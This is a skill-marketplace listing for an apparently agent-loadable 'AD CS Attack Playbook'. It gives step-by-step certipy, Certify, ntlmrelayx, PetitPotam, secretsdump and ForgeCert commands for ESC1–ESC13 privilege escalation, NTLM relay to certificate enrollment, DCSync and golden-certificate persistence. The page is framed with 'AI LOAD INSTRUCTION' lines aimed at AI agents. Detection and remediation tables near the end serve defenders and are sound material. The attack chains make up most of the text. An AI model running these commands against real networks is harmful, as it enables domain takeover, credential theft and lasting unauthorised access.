
Active Directory Certificate Services
- 2.3k installs
- 1.5k repo stars
- Updated June 16, 2026
- yaklang/hack-skills
active-directory-certificate-services is an agent skill that >-.
About
>- --- name: active-directory-certificate-services description: >- AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence. --- # SKILL: AD CS Attack Playbook - Expert Guide > **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations. RELATED ROUTING Before going deep, consider loading: - [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template modification) - [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaining certificates - [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint) - [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement ### Advanced Refere.
- SKILL: AD CS Attack Playbook - Expert Guide
- [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL-based attacks that enable ESC4 (template mo
- [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos techniques after obtaini
- [ntlm-relay-coercion](../ntlm-relay-coercion/SKILL.md) for ESC8 (relay to HTTP enrollment endpoint)
- [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for using obtained certificates for lateral movement
Active Directory Certificate Services by the numbers
- 2,253 all-time installs (skills.sh)
- +132 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #250 of 2,203 Security skills by installs in the Skillselion catalog
- Security screen: CRITICAL risk (skills.sh audit)
- Data as of Aug 5, 2026 (Skillselion catalog sync)
active-directory-certificate-services capabilities & compatibility
- Capabilities
- skill: ad cs attack playbook — expert guide · [active directory acl abuse](../active directory · [active directory kerberos attacks](../active di · [ntlm relay coercion](../ntlm relay coercion/ski · [windows lateral movement](../windows lateral mo
- Use cases
- documentation
What active-directory-certificate-services says it does
--- name: active-directory-certificate-services description: >- AD Certificate Services attack playbook.
Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to enrollment, CA officer abuse, and certificate-based persistence.
--- # SKILL: AD CS Attack Playbook — Expert Guide > **AI LOAD INSTRUCTION**: Expert AD CS (Active Directory Certificate Services) attack techniques.
Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations.
npx skills add https://github.com/yaklang/hack-skills --skill active-directory-certificate-servicesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 2.3k |
|---|---|
| repo stars | ★ 1.5k |
| Security audit | 1 / 3 scanners passed |
| Last updated | June 16, 2026 |
| Repository | yaklang/hack-skills ↗ |
What problem does active-directory-certificate-services solve for developers using this skill?
>-
Who is it for?
Developers who need active-directory-certificate-services patterns described in the cached skill documentation.
Skip if: Skip when docs are empty or the task is outside the skill's documented scope.
When should I use this skill?
>-
What you get
Actionable workflows and conventions from SKILL.md for active-directory-certificate-services.
- ESC-matched attack chain selection
- Certificate-based privilege escalation or persistence plan
By the numbers
- Covers ESC1 through ESC13 AD CS attack techniques
Files
SKILL: AD CS Attack Playbook — Expert Guide
AI LOAD INSTRUCTION: Expert AD CS (Active Directory Certificate Services) attack techniques. Covers ESC1 through ESC13, certificate-based persistence, NTLM relay to enrollment endpoints, and CA misconfigurations. Base models miss enrollment prerequisite chains and ESC condition combinations.
0. RELATED ROUTING
Before going deep, consider loading:
- active-directory-acl-abuse for ACL-based attacks that enable ESC4 (template modification)
- active-directory-kerberos-attacks for Kerberos techniques after obtaining certificates
- ntlm-relay-coercion for ESC8 (relay to HTTP enrollment endpoint)
- windows-lateral-movement for using obtained certificates for lateral movement
Advanced Reference
Also load ADCS_ESC_MATRIX.md when you need:
- ESC1–ESC13 quick reference table with conditions, impact, and tool commands
- One-liner exploitation commands per ESC variant
- Detection indicators per technique
---
1. AD CS ARCHITECTURE OVERVIEW
Certificate Authority (CA)
│
├── Enterprise CA (AD-integrated, issues certs based on templates)
│ ├── Certificate Templates (define who can enroll, what EKUs, subject settings)
│ ├── Enrollment endpoints: HTTP (certsrv), RPC, DCOM
│ └── Published in AD: CN=Public Key Services,CN=Services,CN=Configuration
│
├── Template Key Settings:
│ ├── Subject Alternative Name (SAN): who the cert represents
│ ├── Extended Key Usage (EKU): what the cert allows
│ ├── Enrollment permissions: who can request
│ └── Issuance requirements: manager approval, authorized signatures
│
└── Certificate → Kerberos Auth Flow:
User presents cert → PKINIT → KDC verifies → issues TGT---
2. ENUMERATION
# Certipy (recommended — comprehensive)
certipy find -u user@domain.com -p password -dc-ip DC_IP -stdout
certipy find -u user@domain.com -p password -dc-ip DC_IP -vulnerable -stdout
# Certify (from Windows)
Certify.exe find
Certify.exe find /vulnerable
Certify.exe cas # Enumerate CAs
# Manual LDAP query for templates
ldapsearch -H ldap://DC_IP -D "user@domain.com" -w password \
-b "CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=domain,DC=com" \
"(objectClass=pKICertificateTemplate)" cn msPKI-Certificate-Name-Flag pKIExtendedKeyUsage---
3. ESC1 — ENROLLEE SUPPLIES SUBJECT
Condition: Template allows enrollee to specify Subject Alternative Name (SAN) + client authentication EKU + low-privilege enrollment.
# Certipy
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Certify (Windows)
Certify.exe request /ca:CA-NAME /template:VulnTemplate /altname:administrator
# Authenticate with certificate
certipy auth -pfx administrator.pfx -dc-ip DC_IP
# → NT hash of administrator---
4. ESC2 — ANY PURPOSE EKU
Condition: Template has "Any Purpose" EKU or no EKU (subordinate CA cert) + low-privilege enrollment.
# Same as ESC1 exploitation
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template AnyPurposeTemplate -upn administrator@domain.com---
5. ESC3 — ENROLLMENT AGENT
Condition: Template allows enrollment agent certificate + another template allows enrollment on behalf of others.
# Step 1: Request enrollment agent cert
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template EnrollmentAgent
# Step 2: Use enrollment agent cert to request on behalf of admin
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template UserTemplate -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
# Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC_IP---
6. ESC4 — TEMPLATE ACL MISCONFIGURATION
Condition: Low-privilege user has write access to certificate template object.
# Modify template to become ESC1 vulnerable
# Using Certipy:
certipy template -u user@domain.com -p password -template VulnTemplate \
-save-old -dc-ip DC_IP
# Template is now ESC1 → exploit as ESC1
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template VulnTemplate -upn administrator@domain.com
# Restore original template (cleanup)
certipy template -u user@domain.com -p password -template VulnTemplate \
-configuration old_config.json -dc-ip DC_IP---
7. ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2
Condition: CA has EDITF_ATTRIBUTESUBJECTALTNAME2 flag enabled → any template becomes ESC1.
# Check if flag is set
certutil -config "CA_HOST\CA-NAME" -getreg policy\EditFlags
# Exploit: request any template with SAN
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template User -upn administrator@domain.com---
8. ESC7 — CA OFFICER / MANAGER PERMISSIONS
Condition: User has ManageCA or ManageCertificates permission on the CA.
# With ManageCA: enable SubCA template (always allows SAN)
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-enable-template SubCA
# Request SubCA cert with admin SAN (will be denied — "pending")
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-template SubCA -upn administrator@domain.com
# With ManageCertificates: approve the pending request
certipy ca -u user@domain.com -p password -ca CA-NAME -dc-ip DC_IP \
-issue-request REQUEST_ID
# Retrieve the issued certificate
certipy req -u user@domain.com -p password -ca CA-NAME -target CA_HOST \
-retrieve REQUEST_ID---
9. ESC8 — NTLM RELAY TO HTTP ENROLLMENT
Condition: CA has HTTP enrollment endpoint (certsrv) without HTTPS enforcement.
# Setup relay to enrollment endpoint
ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
# Coerce DC authentication (PetitPotam, PrinterBug, etc.)
PetitPotam.py RELAY_HOST DC01.domain.com
# DC authenticates → relay → certificate issued for DC01$
# Authenticate with certificate
certipy auth -pfx dc01.pfx -dc-ip DC_IP
# → DC01$ hash → DCSync---
10. ESC9-ESC13 — NEWER DISCOVERIES
ESC9: No Security Extension (StrongCertificateBindingEnforcement = 0/1)
Weak certificate mapping allows impersonation when CT_FLAG_NO_SECURITY_EXTENSION is set.
# Change victim's UPN to admin, request cert, change back
certipy shadow auto -u attacker@domain.com -p pass -account victim -dc-ip DC_IPESC10: Weak Certificate Mapping (Registry-based)
Similar to ESC9 but exploits CertificateMappingMethods registry value on DC.
ESC11: NTLM Relay to RPC Enrollment
Relay NTLM to the CA's RPC interface (IF_ENFORCEENCRYPTICERTREQUEST not set).
ntlmrelayx.py -t "rpc://CA_HOST" -rpc-mode ICPR -icpr-ca-name "CA-NAME" \
-smb2support --adcs --template DomainControllerESC13: OID Group Link (Issuance Policy)
Template's issuance policy OID is linked to a group → certificate grants that group membership.
certipy req -u user@domain.com -p pass -ca CA-NAME -target CA_HOST \
-template ESC13Template
# Certificate grants membership in linked group---
11. CERTIFICATE-BASED PERSISTENCE
Golden Certificate
With CA private key → forge any certificate.
# Extract CA private key (requires admin on CA server)
certipy ca -backup -u admin@domain.com -p password -ca CA-NAME -target CA_HOST
# Forge certificate for any user
certipy forge -ca-pfx ca.pfx -upn administrator@domain.com -subject "CN=Administrator,CN=Users,DC=domain,DC=com"
# Authenticate with forged cert
certipy auth -pfx forged.pfx -dc-ip DC_IPPersistence: Valid until CA certificate expires or CA private key is rotated.
ForgeCert (Windows)
ForgeCert.exe --CaCertPath ca.pfx --CaCertPassword "pass" --Subject "CN=User" \
--SubjectAltName "administrator@domain.com" --NewCertPath forged.pfx --NewCertPassword "pass"---
12. AD CS ATTACK DECISION TREE
Targeting AD CS
│
├── Enumerate: certipy find -vulnerable
│
├── Vulnerable template found?
│ ├── Enrollee can set SAN + Client Auth EKU?
│ │ └── ESC1 → request cert with admin UPN (§3)
│ ├── Any Purpose EKU?
│ │ └── ESC2 → same as ESC1 (§4)
│ ├── Enrollment Agent template available?
│ │ └── ESC3 → enroll as agent, then on-behalf-of (§5)
│ └── OID group link in issuance policy?
│ └── ESC13 → request cert for group membership (§10)
│
├── Write access to template?
│ └── ESC4 → modify template to ESC1 condition (§6)
│
├── CA misconfiguration?
│ ├── EDITF_ATTRIBUTESUBJECTALTNAME2 flag?
│ │ └── ESC6 → any template becomes ESC1 (§7)
│ ├── ManageCA / ManageCertificates permission?
│ │ └── ESC7 → enable SubCA template, approve requests (§8)
│ └── HTTP enrollment without HTTPS?
│ └── ESC8 → NTLM relay to certsrv (§9)
│
├── Weak certificate mapping on DC?
│ ├── StrongCertificateBindingEnforcement < 2?
│ │ └── ESC9 → UPN manipulation + cert request (§10)
│ └── CertificateMappingMethods misconfigured?
│ └── ESC10 → similar UPN abuse (§10)
│
├── RPC enrollment without encryption?
│ └── ESC11 → NTLM relay to RPC (§10)
│
└── Already CA admin?
└── Golden certificate for persistence (§11)AD CS ESC1–ESC13 Quick Reference Matrix
AI LOAD INSTRUCTION: Load this for the complete ESC vulnerability matrix with conditions, impact, exploitation commands, and detection notes. Assumes the main SKILL.md is already loaded for AD CS concepts and detailed exploitation.
---
1. ESC VULNERABILITY MATRIX
| ESC | Name | Condition | Impact | Difficulty |
|---|---|---|---|---|
| ESC1 | Enrollee Supplies SAN | Template: CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + low-priv enrollment | Domain Admin | Easy |
| ESC2 | Any Purpose EKU | Template: Any Purpose (2.5.29.37.0) or no EKU + low-priv enrollment | Domain Admin | Easy |
| ESC3 | Enrollment Agent | Enrollment agent template + second template allowing on-behalf-of | Domain Admin | Medium |
| ESC4 | Template ACL | Write access to template object in AD | Domain Admin | Medium |
| ESC5 | CA Object ACL | Write access to CA object or PKI-related containers | CA Compromise | Medium |
| ESC6 | EDITF_ATTRIBUTESUBJECTALTNAME2 | CA flag allows SAN in any request | Domain Admin | Easy |
| ESC7 | CA Officer Abuse | ManageCA or ManageCertificates on CA | Domain Admin | Medium |
| ESC8 | NTLM Relay to HTTP | HTTP enrollment endpoint without HTTPS/EPA | Domain Admin | Medium |
| ESC9 | No Security Extension | StrongCertificateBindingEnforcement ≠ 2, CT_FLAG_NO_SECURITY_EXTENSION | Impersonation | Hard |
| ESC10 | Weak Cert Mapping | CertificateMappingMethods includes UPN/implicit mapping | Impersonation | Hard |
| ESC11 | NTLM Relay to RPC | CA RPC enrollment without encryption enforcement | Domain Admin | Medium |
| ESC12 | CA on YubiHSM | Shell access to CA + YubiHSM key accessible | Golden Cert | Hard |
| ESC13 | OID Group Link | Issuance policy OID linked to AD group + enrollable template | Group Membership | Medium |
---
2. ONE-LINER EXPLOITATION COMMANDS
ESC1
# Enumerate
certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 20 "ESC1"
# Exploit
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template VulnTemplate -upn administrator@domain.com
# Auth
certipy auth -pfx administrator.pfx -dc-ip DCESC2
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template AnyPurpose -upn administrator@domain.com
certipy auth -pfx administrator.pfx -dc-ip DCESC3
# Step 1: Get enrollment agent cert
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template EnrollmentAgentTemplate
# Step 2: Request on behalf of admin
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template User -on-behalf-of 'DOMAIN\administrator' -pfx enrollmentagent.pfx
certipy auth -pfx administrator.pfx -dc-ip DCESC4
# Modify template → ESC1
certipy template -u user@domain.com -p pass -template VulnTemplate -save-old -dc-ip DC
# Exploit as ESC1
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template VulnTemplate -upn administrator@domain.com
# Cleanup
certipy template -u user@domain.com -p pass -template VulnTemplate \
-configuration VulnTemplate.json -dc-ip DCESC6
# Verify flag
certutil -config "ca.domain.com\CORP-CA" -getreg policy\EditFlags
# Look for EDITF_ATTRIBUTESUBJECTALTNAME2
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template User -upn administrator@domain.com
certipy auth -pfx administrator.pfx -dc-ip DCESC7
# Enable SubCA template (ManageCA)
certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -enable-template SubCA
# Request (gets denied to pending)
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template SubCA -upn administrator@domain.com
# Note the request ID
# Approve (ManageCertificates)
certipy ca -u user@domain.com -p pass -ca CORP-CA -dc-ip DC -issue-request ID
# Retrieve
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com -retrieve ID
certipy auth -pfx administrator.pfx -dc-ip DCESC8
# Setup relay
ntlmrelayx.py -t http://ca.domain.com/certsrv/certfnsh.asp -smb2support \
--adcs --template DomainController
# Coerce DC
PetitPotam.py RELAY_HOST DC01.domain.com
# Or: printerbug.py DOMAIN/user:pass@DC01 RELAY_HOST
# Auth with captured cert
certipy auth -pfx dc01.pfx -dc-ip DC
# DCSync with DC machine account
secretsdump.py -hashes :DC01_HASH DOMAIN/DC01\$@DC -just-dcESC11
ntlmrelayx.py -t "rpc://ca.domain.com" -rpc-mode ICPR -icpr-ca-name "CORP-CA" \
-smb2support --adcs --template DomainController
# Coerce + capture same as ESC8ESC13
# Enumerate OID group links
certipy find -u user@domain.com -p pass -dc-ip DC -vulnerable -stdout | grep -A 10 "ESC13"
certipy req -u user@domain.com -p pass -ca CORP-CA -target ca.domain.com \
-template ESC13Template
certipy auth -pfx user.pfx -dc-ip DC
# Verify group membership added---
3. DETECTION INDICATORS
| ESC | Detection Method |
|---|---|
| ESC1/2 | Event 4887: certificate request with SAN different from requester |
| ESC3 | Event 4887: enrollment agent request + subsequent on-behalf-of |
| ESC4 | Event 5136: directory service object modification on template |
| ESC6 | Audit EDITF_ATTRIBUTESUBJECTALTNAME2 flag on CA |
| ESC7 | Event 4870/4882: CA configuration change |
| ESC8 | Network: NTLM authentication to HTTP enrollment endpoint |
| ESC9/10 | Event 4768: PKINIT auth with certificate mapping mismatch |
| ESC11 | Network: NTLM authentication to CA RPC interface |
| ESC13 | Event 4887: enrollment in template with OID group link |
---
4. TOOL COMPARISON
| Feature | Certipy (Python) | Certify (C#) | ForgeCert (C#) |
|---|---|---|---|
| Platform | Linux/Windows | Windows | Windows |
| Enumerate | Yes (find) | Yes (find) | No |
| ESC1-4 | Yes | Yes | No |
| ESC5-8 | Yes | Partial | No |
| ESC9-13 | Yes (latest) | No | No |
| Template modify | Yes | No | No |
| CA backup | Yes | No | No |
| Forge certs | Yes (forge) | No | Yes |
| Auth (PKINIT) | Yes (auth) | No | No |
| Relay integration | Via ntlmrelayx | N/A | N/A |
---
5. REMEDIATION QUICK REFERENCE
| ESC | Fix |
|---|---|
| ESC1 | Remove CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT or restrict enrollment |
| ESC2 | Remove "Any Purpose" EKU, set specific EKU |
| ESC3 | Restrict enrollment agent template to specific users |
| ESC4 | Audit and restrict write ACLs on certificate templates |
| ESC6 | Remove EDITF_ATTRIBUTESUBJECTALTNAME2 flag: certutil -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 |
| ESC7 | Restrict ManageCA/ManageCertificates to necessary admins |
| ESC8 | Enforce HTTPS + EPA on enrollment endpoints; disable HTTP |
| ESC9/10 | Set StrongCertificateBindingEnforcement = 2 on all DCs |
| ESC11 | Set IF_ENFORCEENCRYPTICERTREQUEST on CA RPC interface |
| ESC13 | Audit OID group links in issuance policies |
Related skills
How it compares
Pick active-directory-certificate-services over general AD attack skills when Certificate Services enrollment and ESC template conditions are the specific escalation path.
FAQ
What does active-directory-certificate-services do?
>-
When should I use active-directory-certificate-services?
>-
Is active-directory-certificate-services safe to install?
Review the Security Audits panel on this page before installing in production.